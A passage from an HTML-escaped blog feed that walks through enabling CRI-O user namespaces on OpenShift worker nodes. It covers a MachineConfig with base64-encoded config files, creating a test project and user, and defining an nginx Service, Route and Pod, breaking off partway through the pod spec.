&lt;span id=&quot;cb6-14&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-14&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fl&quot;&gt;3.1.0&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-15&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-15&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;storage&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-16&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-16&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;files&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-17&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-17&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; /etc/crio/crio.conf.d/99-crio-userns.conf&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-18&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-18&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;overwrite&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-19&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-19&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-20&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-20&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; data:text/plain;charset=utf-8;base64,W2NyaW8ucnVudGltZS5ydW50aW1lcy5ydW5jXQphbGxvd2VkX2Fubm90YXRpb25zPVsiaW8ua3ViZXJuZXRlcy5jcmktby51c2VybnMtbW9kZSJdCg==&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-21&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-21&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; /etc/subuid&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-22&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-22&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;overwrite&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-23&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-23&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-24&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-24&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; data:text/plain;charset=utf-8;base64,Y29yZToxMDAwMDA6NjU1MzYKY29udGFpbmVyczoyMDAwMDA6MjY4NDM1NDU2Cg==&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-25&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-25&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; /etc/subgid&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-26&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-26&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;overwrite&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-27&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-27&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-28&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-28&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; data:text/plain;charset=utf-8;base64,Y29yZToxMDAwMDA6NjU1MzYKY29udGFpbmVyczoyMDAwMDA6MjY4NDM1NDU2Cg==&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The file &lt;code&gt;/etc/crio/crio.conf.d/99-crio-userns.conf&lt;/code&gt; enables CRI-O’s
annotation-based user namespace support. Its content
(base64-encoded in the &lt;code&gt;MachineConfig&lt;/code&gt;) is:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb7&quot;&gt;&lt;pre class=&quot;sourceCode ini&quot;&gt;&lt;code class=&quot;sourceCode ini&quot;&gt;&lt;span id=&quot;cb7-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;kw&quot;&gt;[crio.runtime.runtimes.runc]&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;dt&quot;&gt;allowed_annotations&lt;/span&gt;&lt;span class=&quot;ot&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st&quot;&gt;[&amp;quot;io.kubernetes.cri-o.userns-mode&amp;quot;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;MachineConfig&lt;/code&gt; also overrides &lt;code&gt;/etc/subuid&lt;/code&gt; and &lt;code&gt;/etc/subgid&lt;/code&gt;,
defining sub-id ranges for user namespaces. The content is the same
for both files:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;core:100000:65536
containers:200000:268435456&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create the &lt;code&gt;MachineConfig&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc create -f machineconfig-userns-cgv2.yaml
machineconfig.machineconfiguration.openshift.io/userns-cgv2 created&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wait for the Machine Config Operator to apply the changes and reboot
the worker nodes:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc wait mcp/worker --for condition=updated --timeout=-1s
machineconfigpool.machineconfiguration.openshift.io/worker condition met&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It will take several minutes, as worker nodes get rebooted one a time.&lt;/p&gt;
&lt;h3 id=&quot;create-project-and-user&quot;&gt;Create project and user &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#create-project-and-user&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Create a new project called &lt;code&gt;test&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc new-project test
Now using project &amp;quot;test&amp;quot; on server &amp;quot;https://api.ci-ln-jqbnbfk-f76d1.origin-ci-int-gce.dev.openshift.com:6443&amp;quot;.

You can add applications to this project with the 'new-app' command. For example, try:

    oc new-app ruby~https://github.com/sclorg/ruby-ex.git

to build a new example application in Python. Or use kubectl to deploy a simple Kubernetes application:

    kubectl create deployment hello-node --image=gcr.io/hello-minikube-zero-install/hello-node&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output shows the public domain name of this cluster:
&lt;code&gt;ci-ln-jqbnbfk-f76d1.origin-ci-int-gce.dev.openshift.com&lt;/code&gt;. We need to know
this for creating the route in the next step.&lt;/p&gt;
&lt;p&gt;Create a user called &lt;code&gt;test&lt;/code&gt;. Grant it &lt;code&gt;admin&lt;/code&gt; role on project
&lt;code&gt;test&lt;/code&gt;, and the &lt;code&gt;anyuid&lt;/code&gt; Security Context Constraint (SCC)
privilege:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc create user test
user.user.openshift.io/test created
% oc adm policy add-role-to-user admin test
clusterrole.rbac.authorization.k8s.io/admin added: &amp;quot;test&amp;quot;
% oc adm policy add-scc-to-user anyuid test
securitycontextconstraints.security.openshift.io/anyuid added to: [&amp;quot;test&amp;quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;create-service-and-route&quot;&gt;Create service and route &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#create-service-and-route&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Create a service to provide HTTP access to pods matching the &lt;code&gt;app: nginx&lt;/code&gt; selector:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb13&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb13-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb13-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb13-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb13-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Service&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb13-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb13-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb13-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb13-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; nginx&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb13-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb13-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb13-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb13-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;selector&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb13-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb13-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; nginx&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb13-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb13-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb13-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb13-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; TCP&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb13-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb13-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dv&quot;&gt;80&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc create -f service-nginx.yaml
service/nginx created&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The following route definition will provide HTTP ingress from
outside the cluster:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb15&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb15-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb15-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb15-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb15-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Route&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb15-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb15-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb15-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb15-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; nginx&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb15-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb15-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb15-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb15-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; nginx.apps.ci-ln-jqbnbfk-f76d1.origin-ci-int-gce.dev.openshift.com&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb15-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb15-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb15-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb15-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Service&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb15-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb15-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; nginx&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note the &lt;code&gt;host&lt;/code&gt; field. Its value is &lt;code&gt;nginx.apps.$CLUSTER_DOMAIN&lt;/code&gt;.
Change it to the proper value for your cluster, then create the
route:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc create -f route-nginx.yaml
route.route.openshift.io/nginx created&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is no pod to route the traffic to… yet.&lt;/p&gt;
&lt;h3 id=&quot;create-pod&quot;&gt;Create pod &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#create-pod&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The pod specification is:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb17&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb17-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb17-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Pod&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb17-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb17-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; nginx&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb17-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb17-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; nginx&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb17-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb17-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;io.kubernetes.cri-o.userns-mode&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;auto:size=65536&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb17-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb17-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;securityContext&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb17-11&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-11&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;sysctls&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb17-12&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-12&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;net.ipv4.ping_group_range&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb17-13&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-13&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;0 65535&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb17-14&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-14&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;containers&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb17-15&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-15&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; nginx&lt;/span&gt;&lt;/span&gt;
